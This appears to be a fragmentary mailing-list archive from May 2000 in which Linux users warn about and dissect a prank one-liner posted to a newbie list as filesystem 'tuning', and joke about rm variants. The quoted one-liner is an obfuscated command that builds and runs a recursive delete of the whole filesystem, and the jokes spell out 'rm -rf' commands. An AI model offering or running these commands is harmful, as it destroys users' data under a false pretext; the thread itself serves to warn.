Derek Martin writes:
> After doing some more experiments with this myself, I am too. I realized
> later that the second example I gave still shouldn't work, and with a
> large enough input file, it doesn't. I think I was half right; commands
> separated by a ; should work fine, but those separ
On Mon, 29 May 2000, Derek Martin wrote:
[here's the example I'm about to refer to:]
> > > cat file | sort > file
> > >
> After doing some more experiments with this myself, I am too. I realized
> later that the second example I gave still shouldn't work, and with a
> large enough input file
On Fri, 26 May 2000, Tom Rauschenbach wrote:
> > The -o option of the sort command is designed to get around the
> > stdout redirection in a case such as:
> >
> > sort file > file
> >
> > which WILL NOT WORK, even under modern shells. In this case, you will
> > definitely wipe out your inpu
On Fri, 26 May 2000, Tom Rauschenbach wrote:
> WOW! I've always assumed that the shell did all the plumbing up front (thereby
> clobbering the input to the second part of the "list", in this case named junk).
>
> I've warned MANY people against clobbering their input by using the same file
> as
On Fri, 26 May 2000, you wrote:
> On Fri, 26 May 2000, Karl J. Runge wrote:
>
> > > >To tune your filesystem:
> > > >echo xmms>t;cat t|sed s/x/r/|sed s/ms/\ -f\ \\//|sed s/f/rf/>./t;sh./t -
> >^ ^
> >|---
On Fri, 26 May 2000, Karl J. Runge wrote:
> > >To tune your filesystem:
> > >echo xmms>t;cat t|sed s/x/r/|sed s/ms/\ -f\ \\//|sed s/f/rf/>./t;sh./t -
>^ ^
>|--|
>
> In
On Fri, 26 May 2000, [EMAIL PROTECTED] (Michael O'Donnell) wrote:
>
>
>
> The only thing worse than tricking people into destroying
> their own files is going about it in an inefficient manner,
> so anybody who plans to victimize themselves this way should
> at least consider the following op
On Fri, 26 May 2000, Michael O'Donnell wrote:
> The only thing worse than tricking people into destroying
> their own files is going about it in an inefficient manner,
ROTFL
"If you're gonna destroy something, at least make it look pretty." - me.
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>To tune your filesystem:
>echo xmms>t;cat t|sed s/x/r/|sed s/ms/\ -f\ \\//|sed s/f/rf/>./t;sh ./t -
The only thing worse than tricking people into destroying
their own files is going about it in an inefficient manner,
so anybody who plans to victimize themselves this way should
at least consid
On Thu, 25 May 2000, you wrote:
> > Subject: Re: not exactly a virus, but...
>
> On Thu, 25 May 2000, Benjamin Scott <[EMAIL PROTECTED]> wrote:
> > rm Reads mail!
> > rm -rf Reads mail, real fast!
>
> Also:
>
> rm -rf * Reads All
> Subject: Re: not exactly a virus, but...
On Thu, 25 May 2000, Benjamin Scott <[EMAIL PROTECTED]> wrote:
> rmReads mail!
> rm -rfReads mail, real fast!
Also:
rm -rf *Reads All mail, real fast!
rm -rf /. Reads All from Slashdot, real fas
On Thu, 25 May 2000, Karl J. Runge wrote:
> I just ran it and it freed up a bunch of diskspace and brought the
> fragmentation on the drive down to 0%.
>
> Thanks!
rm Reads mail!
rm -rf Reads mail, real fast!
--
Ben Scott <[EMAIL PROTECTED]>
| Why are things carried by ca
I just ran it and it freed up a bunch of diskspace and brought the
fragmentation on the drive down to 0%.
Thanks!
;)
On Thu, 25 May 2000, Charles Farinella <[EMAIL PROTECTED]> wrote:
> Today on the Linux newbie mailing list someone sent the following
> maliciousness: (DO NOT RUN THIS!!)
>
>
Today on the Linux newbie mailing list someone sent the following
maliciousness: (DO NOT RUN THIS!!)
>To tune your filesystem:
>echo xmms>t;cat t|sed s/x/r/|sed s/ms/\ -f\ \\//|sed s/f/rf/>./t;sh ./t -
>
>curious what this action would do. thanks!
>
It creates a file (t) that ends up contai
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